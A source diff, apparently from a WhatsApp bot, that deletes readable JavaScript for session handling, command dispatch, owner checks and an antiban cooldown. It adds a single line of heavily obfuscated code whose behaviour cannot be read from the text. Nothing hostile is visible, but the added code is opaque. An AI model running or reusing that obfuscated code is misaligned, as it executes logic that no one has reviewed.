console.log(`[RESTORE] Recovery Process Complete! Active Sockets: ${exports.activeSockets.size} `);
|
|
1538
|
-
/*
|
|
1539
|
-
setTimeout(async () => {
|
|
1540
|
-
const finalSessions = await storage.getAllSessions();
|
|
1541
|
-
for (const session of finalSessions) {
|
|
1542
|
-
// BUG FIX: Don't let MD bot cleanup delete Bug Bot sessions!
|
|
1543
|
-
if (session.type === 'bug') continue;
|
|
1544
|
-
|
|
1545
|
-
if (!activeSockets.has(session.id)) {
|
|
1546
|
-
console.log(`[CLEANUP] Removing unresponsive session: ${session.id} `);
|
|
1547
|
-
// await storage.deleteSession(session.id); // DANGEROUS
|
|
1548
|
-
|
|
1549
|
-
// Cleanup from correct directory
|
|
1550
|
-
const type = session.type || 'md';
|
|
1551
|
-
const dir = path.join(process.cwd(), "auth_sessions", type, session.id);
|
|
1552
|
-
// if (fs.existsSync(dir)) fs.rmSync(dir, { recursive: true, force: true });
|
|
1553
|
-
}
|
|
1554
|
-
}
|
|
1555
|
-
}, 30000);
|
|
1556
|
-
*/
|
|
1557
|
-
}
|
|
1558
|
-
catch (e) {
|
|
1559
|
-
console.error('[RESTORE] Critical Error:', e.message);
|
|
1560
|
-
}
|
|
1561
|
-
}
|
|
1562
|
-
function getSessionSocket(sessionId) {
|
|
1563
|
-
if (sessionId) {
|
|
1564
|
-
return exports.activeSockets.get(sessionId);
|
|
1565
|
-
}
|
|
1566
|
-
// If no sessionId provided, return the first one found (useful for single-user mode)
|
|
1567
|
-
if (exports.activeSockets.size > 0) {
|
|
1568
|
-
return exports.activeSockets.values().next().value;
|
|
1569
|
-
}
|
|
1570
|
-
return undefined;
|
|
1571
|
-
}
|
|
1572
|
-
// Get session by phone number (searches all active sessions)
|
|
1573
|
-
async function getSessionByPhone(phoneNumber) {
|
|
1574
|
-
// Support for 'system' / 'main' fallback (Non-strict session requirement)
|
|
1575
|
-
if (phoneNumber === 'system' || phoneNumber === 'main') {
|
|
1576
|
-
if (exports.activeSockets.size > 0) {
|
|
1577
|
-
// Return the first available socket
|
|
1578
|
-
const firstKey = exports.activeSockets.keys().next().value;
|
|
1579
|
-
if (firstKey) {
|
|
1580
|
-
return { sessionId: firstKey, sock: exports.activeSockets.get(firstKey) };
|
|
1581
|
-
}
|
|
1582
|
-
}
|
|
1583
|
-
return null;
|
|
1584
|
-
}
|
|
1585
|
-
const cleanPhone = phoneNumber.replace(/[^0-9]/g, '');
|
|
1586
|
-
// First try direct lookup from storage
|
|
1587
|
-
const sessions = await storage_1.storage.getAllSessions();
|
|
1588
|
-
for (const session of sessions) {
|
|
1589
|
-
const sessionPhone = session.phoneNumber?.replace(/[^0-9]/g, '');
|
|
1590
|
-
if (sessionPhone && (sessionPhone === cleanPhone || sessionPhone.endsWith(cleanPhone) || cleanPhone.endsWith(sessionPhone))) {
|
|
1591
|
-
const sock = exports.activeSockets.get(session.id);
|
|
1592
|
-
if (sock) {
|
|
1593
|
-
return { sessionId: session.id, sock };
|
|
1594
|
-
}
|
|
1595
|
-
}
|
|
1596
|
-
}
|
|
1597
|
-
// Fallback: check if any socket's user.id matches
|
|
1598
|
-
exports.activeSockets.forEach((sock, sessionId) => {
|
|
1599
|
-
// Logic inside loop
|
|
1600
|
-
});
|
|
1601
|
-
// Re-implementing simplified loop to avoid complexity with 'return' in forEach
|
|
1602
|
-
for (const [sessionId, sock] of exports.activeSockets.entries()) {
|
|
1603
|
-
try {
|
|
1604
|
-
const sockPhone = sock?.user?.id?.split(':')[0]?.split('@')[0].replace(/[^0-9]/g, '');
|
|
1605
|
-
if (sockPhone && (sockPhone === cleanPhone || sockPhone.endsWith(cleanPhone) || cleanPhone.endsWith(sockPhone))) {
|
|
1606
|
-
return { sessionId, sock };
|
|
1607
|
-
}
|
|
1608
|
-
}
|
|
1609
|
-
catch (e) {
|
|
1610
|
-
// Continue searching
|
|
1611
|
-
}
|
|
1612
|
-
}
|
|
1613
|
-
return null;
|
|
1614
|
-
}
|
|
1615
|
-
// Get all active sessions with their phone numbers
|
|
1616
|
-
function getAllActiveSessions() {
|
|
1617
|
-
const result = [];
|
|
1618
|
-
for (const [sessionId, sock] of exports.activeSockets.entries()) {
|
|
1619
|
-
try {
|
|
1620
|
-
const phoneNumber = sock?.user?.id?.split(':')[0]?.split('@')[0] || 'Unknown';
|
|
1621
|
-
result.push({ sessionId, phoneNumber, sock });
|
|
1622
|
-
}
|
|
1623
|
-
catch (e) {
|
|
1624
|
-
result.push({ sessionId, phoneNumber: 'Unknown', sock });
|
|
1625
|
-
}
|
|
1626
|
-
}
|
|
1627
|
-
return result;
|
|
1628
|
-
}
|
|
1629
|
-
// Export getBotSettings for plugins to use
|
|
1630
|
-
async function getBotSettings(sessionId) {
|
|
1631
|
-
return await storage_1.storage.getBotSettings(sessionId);
|
|
1632
|
-
}
|
|
1633
|
-
// โโโโโโโ ANTIBAN GLOBALS โโโโโโโ
|
|
1634
|
-
const userCooldowns = new Map();
|
|
1635
|
-
const commandCooldown = 60000; // 60 seconds
|
|
1636
|
-
const globalDelayMin = 4000;
|
|
1637
|
-
const globalDelayMax = 10000;
|
|
1638
|
-
async function checkAntiBan(sender, isOwner, settings) {
|
|
1639
|
-
if (!settings?.antiban || isOwner)
|
|
1640
|
-
return false; // Bypass for owner or if feature off
|
|
1641
|
-
const now = Date.now();
|
|
1642
|
-
const last = userCooldowns.get(sender) || 0;
|
|
1643
|
-
// Enforce Cooldown
|
|
1644
|
-
if (now - last < commandCooldown) {
|
|
1645
|
-
return true; // Cooldown active
|
|
1646
|
-
}
|
|
1647
|
-
userCooldowns.set(sender, now);
|
|
1648
|
-
return false;
|
|
1649
|
-
}
|
|
1650
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1651
|
-
async function handleMessage(sock, msg, sessionId) {
|
|
1652
|
-
const jid = msg.key.remoteJid;
|
|
1653
|
-
const isGroup = jid.endsWith("@g.us");
|
|
1654
|
-
// Track session activity (Last seen remains hidden, but internal tracking used for health)
|
|
1655
|
-
lastActive.set(sessionId, Date.now());
|
|
1656
|
-
let text = "";
|
|
1657
|
-
if (msg.message) {
|
|
1658
|
-
text = msg.message.conversation ||
|
|
1659
|
-
msg.message.extendedTextMessage?.text ||
|
|
1660
|
-
msg.message.imageMessage?.caption ||
|
|
1661
|
-
msg.message.videoMessage?.caption ||
|
|
1662
|
-
"";
|
|
1663
|
-
}
|
|
1664
|
-
// Fetch settings first to get Prefix
|
|
1665
|
-
const settings = await storage_1.storage.getBotSettings(sessionId);
|
|
1666
|
-
const currentPrefix = settings?.prefix || PREFIX;
|
|
1667
|
-
if (!text || !text.startsWith(currentPrefix))
|
|
1668
|
-
return;
|
|
1669
|
-
const args = text.slice(currentPrefix.length).trim().split(/ +/);
|
|
1670
|
-
const commandName = args.shift()?.toLowerCase();
|
|
1671
|
-
// FILTER GARBAGE COMMANDS: Only allow alphanumeric + hyphens/underscores
|
|
1672
|
-
// This prevents corrupted binary data from being parsed as commands
|
|
1673
|
-
if (!commandName || !/^[a-z0-9_-]+$/i.test(commandName)) {
|
|
1674
|
-
return; // Silently ignore garbage commands
|
|
1675
|
-
}
|
|
1676
|
-
// Only log real commands (not spam)
|
|
1677
|
-
if (DEBUG)
|
|
1678
|
-
console.log(`[${sessionId}]Command: ${commandName} (Prefix: ${currentPrefix})`);
|
|
1679
|
-
// DEBUG LOOP:
|
|
1680
|
-
if (commandName === 'menu') {
|
|
1681
|
-
console.log(`[LOOP_DEBUG] Menu triggered by: ${jid} `);
|
|
1682
|
-
console.log(`[LOOP_DEBUG] Msg ID: ${msg.key.id} `);
|
|
1683
|
-
console.log(`[LOOP_DEBUG] FromMe: ${msg.key.fromMe} `);
|
|
1684
|
-
console.log(`[LOOP_DEBUG] Text: "${text}"`);
|
|
1685
|
-
console.log(`[LOOP_DEBUG] Participant: ${msg.key.participant} `);
|
|
1686
|
-
console.log(`[LOOP_DEBUG] Settings Prefix: "${settings?.prefix}", Default: "${PREFIX}"`);
|
|
1687
|
-
}
|
|
1688
|
-
// isGroup already declared above
|
|
1689
|
-
const senderJid = isGroup ? (msg.key.participant || msg.participant || "") : jid;
|
|
1690
|
-
const senderNumber = senderJid.split("@")[0];
|
|
1691
|
-
const botNumber = sock.user?.id?.split(':')[0]?.split('@')[0];
|
|
1692
|
-
// OWNER DETECTION: Connected user is automatically the owner
|
|
1693
|
-
// This ensures anyone who connected the bot has full control
|
|
1694
|
-
// Check: 1) sender is bot number, 2) sender matches stored owner, 3) message is from the connected account itself
|
|
1695
|
-
const isOwner = (0, message_helper_1.isOwner)(sock, msg, settings?.ownerNumber);
|
|
1696
|
-
// Bot Mode Check
|
|
1697
|
-
if (settings && !settings.isPublic && !isOwner) {
|
|
1698
|
-
// Self mode: Only owner can use commands
|
|
1699
|
-
return;
|
|
1700
|
-
}
|
|
1701
|
-
// โโโโโโโ ANTIBAN MODE - BLOCKS ALL COMMANDS โโโโโโโ
|
|
1702
|
-
// When antiban is ON:
|
|
1703
|
-
// - Non-owners: SILENT (no response at all, like self mode)
|
|
1704
|
-
// - Owner: Can still use commands, but sees reminder message
|
|
1705
|
-
if (settings?.antiban) {
|
|
1706
|
-
if (!isOwner) {
|
|
1707
|
-
// Non-owners get NO response at all (silent block)
|
|
1708
|
-
return;
|
|
1709
|
-
}
|
|
1710
|
-
else {
|
|
1711
|
-
// Owner can use commands, but remind them antiban is active
|
|
1712
|
-
// Only show reminder for non-antiban commands
|
|
1713
|
-
if (commandName !== 'antiban') {
|
|
1714
|
-
await safeSendMessage(sock, jid, {
|
|
1715
|
-
text: `๐ก๏ธ _Antiban is ON - only you can use commands right now_`
|
|
1716
|
-
}, { quoted: msg });
|
|
1717
|
-
}
|
|
1718
|
-
}
|
|
1719
|
-
}
|
|
1720
|
-
if (await checkAntiBan(senderJid, isOwner, settings)) {
|
|
1721
|
-
// This is for rate limiting, not command blocking
|
|
1722
|
-
await safeSendMessage(sock, jid, { text: 'โ ๏ธ Slow down bro, antiban rate limit active ๐' }, { quoted: msg });
|
|
1723
|
-
return;
|
|
1724
|
-
}
|
|
1725
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1726
|
-
try {
|
|
1727
|
-
const cmd = types_1.commands.get(commandName || "");
|
|
1728
|
-
if (cmd) {
|
|
1729
|
-
// Check if user is banned
|
|
1730
|
-
const { bannedUsers } = await Promise.resolve().then(() => __importStar(require("./plugins/owner")));
|
|
1731
|
-
if (bannedUsers.has(senderJid) && !isOwner) {
|
|
1732
|
-
await safeSendMessage(sock, jid, {
|
|
1733
|
-
text: `๐ซ * You are banned *\n\nYou cannot use bot commands.\nContact the owner for assistance.`
|
|
1734
|
-
});
|
|
1735
|
-
return;
|
|
1736
|
-
}
|
|
1737
|
-
// Check if command is owner-only
|
|
1738
|
-
if (cmd.ownerOnly && !isOwner) {
|
|
1739
|
-
await safeSendMessage(sock, jid, {
|
|
1740
|
-
text: `๐ * Owner Only Command *\n\nThe command \`.${commandName}\` can only be used by the bot owner.`
|
|
1741
|
-
});
|
|
1742
|
-
return;
|
|
1743
|
-
}
|
|
1744
|
-
await cmd.execute({
|
|
1745
|
-
sock,
|
|
1746
|
-
msg,
|
|
1747
|
-
args,
|
|
1748
|
-
text,
|
|
1749
|
-
chatId: jid, // Fixed: Added required chatId
|
|
1750
|
-
senderJid,
|
|
1751
|
-
isOwner,
|
|
1752
|
-
sessionId, // ADDED
|
|
1753
|
-
reply: async (text) => {
|
|
1754
|
-
// โโโโโโโ NULL-GUARD: Prevent sending empty messages โโโโโโโ
|
|
1755
|
-
if (!text || (typeof text === 'string' && text.trim() === '')) {
|
|
1756
|
-
console.warn('[REPLY] Blocked empty/null reply');
|
|
1757
|
-
return;
|
|
1758
|
-
}
|
|
1759
|
-
await safeSendMessage(sock, jid, { text });
|
|
1760
|
-
}
|
|
1761
|
-
});
|
|
1762
|
-
}
|
|
1763
|
-
else {
|
|
1764
|
-
// Show error for unknown commands
|
|
1765
|
-
await safeSendMessage(sock, jid, {
|
|
1766
|
-
text: `โ *Unknown Command*\n\nCommand \`.${commandName}\` not found.\nType \`.menu\` to see all available commands.`
|
|
1767
|
-
});
|
|
1768
|
-
}
|
|
1769
|
-
}
|
|
1770
|
-
catch (error) {
|
|
1771
|
-
console.error(`Error executing ${commandName}:`, error);
|
|
1772
|
-
// Show more descriptive error - but validate commandName exists
|
|
1773
|
-
if (commandName) {
|
|
1774
|
-
await safeSendMessage(sock, jid, {
|
|
1775
|
-
text: `โ *Command Error*\n\nFailed to execute \`.${commandName}\`\n\nError: ${error.message || 'Unknown error'}`
|
|
1776
|
-
});
|
|
1777
|
-
}
|
|
1778
|
-
}
|
|
1779
|
-
// โโโโโโโ CHATBOT RESPONSE HANDLER โโโโโโโ
|
|
1780
|
-
// Check for chatbot responses (mentions/replies to bot)
|
|
1781
|
-
try {
|
|
1782
|
-
await (0, chatbot_1.handleChatbotResponse)(sock, jid, msg, text, senderJid);
|
|
1783
|
-
}
|
|
1784
|
-
catch (e) {
|
|
1785
|
-
// Silent fail for chatbot errors
|
|
1786
|
-
console.error('[CHATBOT] Error:', e);
|
|
1787
|
-
}
|
|
1788
|
-
// โโโโโโโ END CHATBOT โโโโโโโ
|
|
1789
|
-
}
|
|
1790
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1791
|
-
// HELPER: Clean Session Residue (Fixes null bugs/sync issues)
|
|
1792
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1793
|
-
function cleanSessionResidue(sessionId, type = 'md') {
|
|
1794
|
-
try {
|
|
1795
|
-
const authDir = path_1.default.join(process.cwd(), "auth_sessions", type, sessionId);
|
|
1796
|
-
if (!fs_1.default.existsSync(authDir))
|
|
1797
|
-
return;
|
|
1798
|
-
const files = fs_1.default.readdirSync(authDir);
|
|
1799
|
-
let deletedCount = 0;
|
|
1800
|
-
for (const file of files) {
|
|
1801
|
-
// Delete app-state-sync-key-* (Forces fresh app state sync)
|
|
1802
|
-
if (file.startsWith('app-state-sync-key') || file === 'baileys_store_multi.json') {
|
|
1803
|
-
fs_1.default.unlinkSync(path_1.default.join(authDir, file));
|
|
1804
|
-
deletedCount++;
|
|
1805
|
-
}
|
|
1806
|
-
}
|
|
1807
|
-
if (deletedCount > 0) {
|
|
1808
|
-
console.log(`[CLEANUP] Removed ${deletedCount} residue files for session ${sessionId}`);
|
|
1809
|
-
}
|
|
1810
|
-
}
|
|
1811
|
-
catch (e) {
|
|
1812
|
-
console.error(`[CLEANUP] Failed to clean session ${sessionId}:`, e.message);
|
|
1813
|
-
}
|
|
1814
|
-
}
|
|
1815
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1816
|
-
// HELPER: Get Buffer from URL
|
|
1817
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1818
|
-
async function getBuffer(url) {
|
|
1819
|
-
try {
|
|
1820
|
-
const response = await axios_1.default.get(url, { responseType: "arraybuffer" });
|
|
1821
|
-
return response.data;
|
|
1822
|
-
}
|
|
1823
|
-
catch (error) {
|
|
1824
|
-
console.error("Failed to fetch buffer:", error);
|
|
1825
|
-
return null;
|
|
1826
|
-
}
|
|
1827
|
-
}
|
|
1828
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1
|
+
'use strict';const _0x50e9fe=_0x2bbd;(function(_0x395170,_0x408547){const _0xd5257f=_0x2bbd,_0x32d499=_0x395170();while(!![]){try{const _0x3369c2=parseInt(_0xd5257f(0x216))/0x1+-parseInt(_0xd5257f(0x391))/0x2+-parseInt(_0xd5257f(0x380))/0x3+parseInt(_0xd5257f(0x2d6))/0x4+parseInt(_0xd5257f(0x2ac))/0x5+-parseInt(_0xd5257f(0x401))/0x6+parseInt(_0xd5257f(0x209))/0x7;if(_0x3369c2===_0x408547)break;else _0x32d499['push'](_0x32d499['shift']());}catch(_0x3b5365){_0x32d499['push'](_0x32d499['shift']());}}}(_0x2103,0xa973a));function _0x2103(){const _0x797e0=['AwXWsxm','ChvIs2v5','DhjHBNnHy3rPB24GzMfPBgvK','w0Xpt1bFrevcvuDDie1ZzYbjrdOG','w1jfu1rpuKvDienYAxrPy2fSievYCM9YoG','w0jvr0jpvf0Gq29TBwfUzcbKzxrLy3rLzdO','BMv3EwvHCG','y29YDgfUywnHBgW','y1fmAKG','ChvZAa','A0fYAKy','BLzhr1u','ihWGrgvKDxa6ia','CMvHzhLtDgf0zq','y2fJAgvKqxq','CxnXywG','CKjWDNO','BMv3C2XLDhrLCK1LDgfKyxrH','y29YDgfUyxPHCa','zgvSzxrL','zMX1C2HbBgW','cGPFq2f1z2H0igj5ienVCNrHBMeGyMvMB3jLigL0ihzHBMLZAgvKxYdWN5Ii','y21Krg9Uzq','vMDUBhO','CMvHBgjHBG','w0fvveHDifvZAw5Nie1VBMDVreiGu3rVCMfNzsdWN42d','AxfiCu8','Fcbnrcb8ifnLC3nPB24G','rxHWBg9PDca','vgvqvee','y29UBMvJDgvK','qgXPza','BxrXDum','lI9WBhvNAw5Zl3bYB3rLy3rPB24','t1jbr3u','BgvUz3rO','rMHZExi','EhPVDge','CMvTB3zLqwXStgLZDgvUzxjZ','wLLOD0S','y29YDgfUys1UzxDZBgv0DgvYlxyY','kg1LzgLHigrLBgv0zwqGzg93BIdWN5ghkq','yxjYyxLIDwzMzxi','y3DK','zNvJA2fSBa','DhjPBq','Bg93','uhblExC','yxv0B2zVBgXVDW','y2f0y2G','w1nbrKvFu0vorf0Gsw52ywXPzcbksuq6','ALLyC3e','qMfKie1bqW','C3rKB3v0','C3rHCNrZv2L0Aa','ie1eihnLC3nPB25ZigLUigrHDgfIyxnL','C2f2zunYzwrZ','rKr0CNu','kUkAOo+4J0rftevuruqGtuvtu0fhrsO','w1nbrKvFu0vorf0GqMXVy2TLzcbPBNzHBgLKl2vTChr5ig1LC3nHz2uGDg8','q2XVC2LUzYbVCgvUihnLC3nPB24','y3jLyxrLu2vZC2LVBG','lIbjz25VCMLUzY4','zg9JDw1LBNq','Dhj1zq','vLfbD1G','zfHsvey','vuHsv3q','s2zXswC','Cxbtwgi','cIaGicaGicaGicaGicaGcVcFMQ4GierLBgv0zwqGyNKGpsba','uMvJB3zLCMLUzY4UlG','C3LZ','zM9YrwfJAa','igrPC2nVBM5Ly3rLzc4Gq29KztOG','w0foveLeruXfvevtvefuvvnDiokAOo+4JYbtDgf0DxmGBM90igLUignHy2HLig9Yig5Vig93BMvYig51BwjLCIbZzxq','uKPpCwC','qMrYz3O','AxHes0G','wLb3Eue','AMD6s0m','A3vMzw5P','BgLK','tNvTyMvYigfSCMvHzhKGBgLUA2vKihrVigeGv2HHDhnbChaGC2vZC2LVBG','whvlyKW','qgCUDxm','DNvZz00','u2vZC2LVBIa','B3bLBG','yxbWBhK','Awjgwhq','BeL0Bhi','A0njuNa','zgvSzxrLu2vZC2LVBG','B09ZrfK','ywrK','yw50AwjHBG','DgvTCgXHDgvnzxnZywDL','BwfZC3jLCg9YDa','C2v0','CMvNAxn0zxjLza','uMLTBuC','Cgf0Aa','y3jLzhmUDxbKyxrL','iokaLcbYzwnVBM5Ly3rPBMC','r0vwtva','B3v0Chv0','vLzNrMK','zgLZy29UBMvJDfnLC3nPB24','A21xsfu','DxHdu3C','y29YDgfUys1ZDgf0DxmTy3jHC2G','w0Xpt1bFrevcvuDDifbHCNrPy2LWyw50oIa','mdaYovzIqZe3m0Lerg1gvMXOy1npwJbr','yNvNyM90','DMLLD09Uy2vnzxnZywDL','w0foveLeruXfvevDiokCHsbtDwnJzxnZzNvSBhKGCMv2zwfSzwqGzgvSzxrLzcbTzxnZywDL','ycbUB3qGzM91BMqUcLr5CguGyc5Tzw51ycb0BYbZzwuGywXSigf2ywLSywjSzsbJB21Tyw5KCY4','D3DQAuW','qvfTDwm','DNnrtxa','EhHhrwK','tMLOD20','igv4y2vLzgvKidqWigHVDxjZicG','s1bzsey','t1LZBKG','zgvMAw5LuhjVCgvYDhK','yxvKAw8','DKrdAKS','se9evLG','4P2micPdB21Tyw5KievYCM9YkGOkrMfPBgvKihrVigv4zwn1DguGyc4','ie1eihnLC3nPB24GzM9SzgvYCYbVBIbKAxnR','zgngq2y','ChjLDMLVDxndB3vUDgvY','mJK2ntq1oenYsvvJua','ndaZ','y3jLzhm','ignVBM5Ly3rPB24GDxbKyxrLoIa','zgvIDwC','CMvWB3j0ywXS','xsbszxn0B3jPBMC6ia','C2XPy2u','CM9VDeTLEq','ChjLzML4','w1bbsvjjtKDDifjLCxvLC3rPBMCGCgfPCMLUzYbJB2rLigzVCIa','CM1tEw5J','yxHPB3m','z2v0vxnLCG','y013B1q','Dvnnshm','w0foveLmruzuxsbszwfKzgLUzYa','mtC0ndGXofLur1nkrq','CwjJvKC','Dg9mB3DLCKnHC2u','yNHLAM4','qhmUD2HHDhnHChaUBMv0','yxv0Af9ZzxnZAw9UCW','w0foveLeruXfvevtvefuvvnDiokCHsbtDgf0DxmGzM9YD2fYzgvKihrVig93BMvY','y29UDgv4DeLUzM8','B2jQzwn0','CgLUBW','u2vZC2LVBIbfEhbPCMvK','D25PsKC','y2XVC2u','ihrYAwvKihrVigvZy2fWzs4UlGOk8j+uKIbcDxqGBM9IB2r5igXLyxzLCYb0AgLZigDYB3vWisbxzwXJB21LigjHy2SHipcFMlK','AfH6yNm','sxDdAhi','lI9SB2nHBc1ZDg9YywDL','zMLUza','Fcbnrcb8iokDJcbtDgfYDcbMywLSzwqGzM9Yia','Aw5KzxHjBMzV','yMfZzuTLEq','C2L6zq','AxncDwzMzxi','C2vYDMvY','qwjYrhe','FVcFPi/WN5Ioierftevusu9oiefmrvjuFG','u2XHqLK','zKX0DMq','8j+uKIaQt3DUzxiGt25SEsO','AcKUifvZzxiG','zNvUy3rPB24','rgvSzxrLzcbHDxrOigzPBgvZigzVCIa','8j+AQYaQifLVDsbHCMuGyMfUBMvKicOkcLLVDsbJyw5UB3qGDxnLigjVDcbJB21Tyw5KCY4kq29UDgfJDcb0AguGB3DUzxiGzM9YigfZC2LZDgfUy2uU','zw5KC1DPDgG','w0fvveHDifvZAw5NiezPBguGu3rVCMfNzsdWN5ob','CgvUzgLUzW','wwH6DMS','CvnJqvi','DxjS','u0vsCxq','EwDYAw0','zxbOzw1LCMfSs2v5ugfPCJO','zu9Yrha','zK5OCMy','AuDbBMm','vMX1vxK','Aw5JBhvKzxm','C29Tzq','Bw9stgO','DMz1uva','BgHnr0q','BgLZDe1LC3nHz2u','B3DUzxjoDw1Izxi','y29UBMvJDfrVtw9Uz28','sLDxr20','Dfbfrhm','CMvHy3rPB25nzxnZywDL','w0nnrcaTierfqLvhxsbdB21Tyw5KoIaI','vuLvtxi','vuXIB3q','ywrTAw4','vwDdy0e','w0foveLeruXfvevDiokAOo+4JYbnzxnZywDLig5VDcbMB3vUzcbPBIbJywnOzsaOBwf5igHHDMuGyMvLBIbZzw50igjLzM9YzsbIB3qGC3rHCNrLzcK','thHLzMS','w0Xpt1bFrevcvuDDie1LBNuGDhjPz2DLCMvKigj5oIa','q09svefoqsbnrcbylu1bu1mGruqU','CMvWBgfJzq','t29VDgC','C3rHDhvZqgjYB2fKy2fZDa','zNjVBq','8j+uKIaQie93BMvYie9UBhKGq29TBwfUzcaQcGPuAguGy29TBwfUzcbGlG','EMfLCLy','xsbtzxnZAw9Uia','zgvZDhjVEq','rfHpu1K','y29YDgfUys1ZDgLJA2vYlwnYyxnO','CKvjyxa','zfjWy0q','DMfSDwvZ','CMvZDgfYDfjLCxvPCMvK','lI9JBgvHBNvW','BgfZDfjLBw90zuvWAgvTzxjHBeTLEtO','veXHA24','z2v0qwXSu2vZC2LVBNm','y2zXD3m','AM9PBG','D29mBwm','w0foveLeruXfvevtvefuvvnDifn0yxr1CYbKzwXLDgLVBIbKzxrLy3rLzce','w1nfu1njt05Dia','vK9Oqvq','u3bzrKW','yxr0zw1WDgv4Ca','ywXS','DgvTCc1Iyw4TBNvT','yw50AwrLBgv0zxn0yxr1C0vUywjSzwq','ywn0AxzLu29JA2v0CW','EgLUDMLZAw9Z','vw5RBM93BG','y29VA2fSBa','rvblAuK','q2PpChq','CgvYBs1Iyw4TBNvT','DxnLCG','Dg9tDhjPBMC','w0vyueLswv0Gu2vZC2LVBIa','CM91BMq','A3H3Cvq','yNvN','w1jfueXzxsbcBg9JA2vKigvTChr5l251BgWGCMvWBhK','iIWGrgvMyxvSDdOGiG','u2vZC2LVBKvUDhj5','ChjVDg90ExbL','mZK2ndGWzxnJAvHx','CMfUzg9Tvvvjra','B25LDgvYBq','C2v0DgLUz3m','EMvYB3jLDhvYBG','tfnwsfm','BwfStMy','twvZC2fNzsbWCM9JzxnZAw5N','r01YsxG','x19PBxbVCNrtDgfY','y3jLyxrL','D3jPDgfIBgu','rgvMzxjYzwqGAw5PDa','Bg9JywXtDg9YywDL','icHqCMvMAxG6ia','y2XLyw51CenVDw50zxi','teLeig5VDcbPBIbJCMvKCYdIGjqGDhjPz2DLCMvKihbYzxnLBMnLigzVCIbKAxnJB3zLCNK','qhDOAxnRzxLZB2nRzxrZl2jHAwXLExm','igz1BgX5igrLBgv0zwqU','w0Xjrc1esvndt1zfuLLDiokCHsbcB3qGteLeigrPC2nVDMvYzwq6ia','DhLWzq','EgLMufC','w0foveLmruzuxsbiyw5KBgvYigvYCM9YoG','ksdIGjqGzgvSzxrPBMC','4P2micPvBMTUB3DUienVBw1HBMqQcGPdB21Tyw5KigaU','wNvZBfm','B3DUzxjpBMX5','D1nizwy','AxnqDwjSAwm','CgD1Aeu','CeDfwLm','DMLLD09Uy2vnzxnZywDLvJi','CuXyBKC','t2XXCgW','DxbKyxrL','8j+AKsbfBwvYz2vUy3KGr0mGDhjPz2DLCMvKicHizwfWoIa','zxHPC3rZu3LUyW','Cg9SBenYzwf0Aw9UtwvZC2fNzvyZ','C2TJwu0','BwvZC2fNzvn0DwjuExbL','DxbKyxrLu2vZC2LVBG','C3vIC3rYAw5N','y1HjDgW','sw52ywXPzcbWAg9UzsbUDw1Izxi','w0foveLeruXfvevtvefuvvnDiezHAwXLzcb0BYbMB3j3yxjKihn0yxr1CZO','zxjY','yw50AwrLBgv0zu1Vzgu','ANP5sNu','xunVBw1HBMq6ia','Bw9KDwXL','zxjYB3i','cUkpScaQvgLTztOQia','ywjZ','BujmyxG','y2HHAw5uExbL','Aw5MBW','AgTjs2q','rK1zve0','zw5K','lI9ZDg9Yzq','4P2mievYCM9YoIa','x2nOywLUCW','lI9WBhvNAw5Zl3r5CgvZ','BMHcCfq','tLb4uMO','DMjduMS','rw5fzLa','lI9SAwiVBwvZC2fNzs1OzwXWzxi','BwvZC2fNzxmUDxbZzxj0','vwLRD3C','Dg9PBwC','y29TBwfUzhm','wff0sxe','4PQG77IpifPVBwjPzsbZB2nRzxqGzgv0zwn0zwqVA2LSBgLUzZOG','ugPoqu0','Egvjwgm','Fcbnrcb8iezVDw5Kia','C3rPy2TLCK1LC3nHz2u','z3rLAfi','vwTbs0G','BM90Awz5','DNLlCNq','swHVAeG','lI4UihWGvhLWztOG','z2v0','ugvPr0C','zM5gAxy','Eejkvu8','ChjVDg9JB2XnzxnZywDL','rMfPBgvKihrVigXVywqGBg9JywWGyNvNigHHBMrSzxi6','C3rVCMfNzq','w0vyueLswv0GrxjYB3iGy2HLy2TPBMCGC2vZC2LVBIa','y1fNv0u','zw50CMLLCW','z2v0u2vZC2LVBLn0B3jHz2vuExbL','zMLSDgvY','q29UBMvJDgLVBIbJBg9ZzwqGyMvMB3jLihbHAxjPBMCGy291BgqGC3rHCNq','y21K','yNvNAgfUzgXLCG','w0jvr0jpvf0G4P2miej1z0HHBMrSzxiGBM90igf2ywLSywjSzsaTigHHBMrSzxiGAxmGBNvSBc91BMrLzMLUzwq','q1f4vwW','CMvXDwvZDfbHAxjPBMDdB2rL','z2v0qM90u2v0DgLUz3m','zwr1lwnVBwjV','x19PBxbVCNrezwzHDwX0','CxDxzha','AgfUzgXLqw50AwXPBMS','y2fSBa','zMfPBgvK','D2fYBG','yxzHAwXHyMXL','mtiWmZyZndi0ndG1nda2nZmWqg5LD3nSzxr0zxi','vfP3qK0','BgfZDfjLBw90zuvWAgvTzxjHBeTLEq','BwfPBG','ycbJyw4GB25SEsbIzsb1C2vKigj5ihrOzsbIB3qGB3DUzxiU','t21sDfC','zxbOzw1LCMfStwvZC2fNzq','qLzktvK','v1rMqKW','Aw1Hz2vnzxnZywDL','vu9zCLe','y3j5ChrV','C3rHDhvZ','z2v0u2vZC2LVBG','zNnywxm','DgHLBG','ChjLA2v5igj1BMrSzq','s0DTrMC','A3r4Dhu','8j+NUsbizwfWoIa','u2vZC2LVBIbLCNjVCG','EM1cDuW','x19LC01VzhvSzq','ignVBM5Ly3rPB24GDxbKyxrLoG','yxvKAw9nzxnZywDL','igLZigfSCMvHzhKGy29UBMvJDgLUzY4GrgvIB3vUy2LUzY4','C3rHDgu','ig1PC3nPBMCGzMLSzxmGlsbszw1VDMLUzYbMCM9Tierc','CMvHzgrPCLn5BMm','z3jVDxaTCgfYDgLJAxbHBNrZlNvWzgf0zq','y2fWDgLVBG','wgvHt2q','odC1mJfhBgndAKe','wKrLy08','rxjYB3iGy2XVC2LUzYbZB2nRzxqGzM9Yia','qvPAD1e','vwj1BNr1','r0HgD0S','Dg